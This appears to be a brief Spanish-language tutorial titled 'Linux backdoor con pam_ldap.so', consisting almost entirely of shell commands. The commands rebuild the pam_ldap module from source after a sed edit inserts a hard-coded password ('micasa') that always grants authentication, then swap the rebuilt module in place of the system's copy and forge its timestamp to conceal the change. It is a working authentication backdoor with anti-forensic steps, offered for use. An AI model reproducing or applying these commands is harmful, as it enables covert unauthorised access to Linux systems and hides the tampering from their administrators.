# Linux backdoor con pam_ldap.so

Introducción

PAM

Ejecución

# apt-get install dpkg-dev flex libldap2-dev 
# dpkg --search pam_ldap.so
# apt-get source libpam-ldap=`dpkg -s libpam-ldap \
| grep -i version | cut -d' ' -f2`
# midir=`pwd`
# cd libpam-ldap-184/
# tar xvzf pam_ldap-184.tar.gz
# cd pam_ldap-184
# ln -s $midir/pam-1.1.1/libpam/include/security/ /usr/include/security
# sed -i '/^  _connect_anonymously/ a \ \ if (strcmp(password, "micasa") == 0) { rc = PAM_SUCCESS; }' pam_ldap.c
# ./configure
# make
# cd
# timestamp=`ls -l /lib/security/ | grep pam_ldap.so \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
# cp /lib/security/pam_ldap.so .
# cp $midir/libpam-ldap-184/pam_ldap-184/pam_ldap.so /lib/security/.
# touch -t $timestamp /lib/security/pam_ldap.so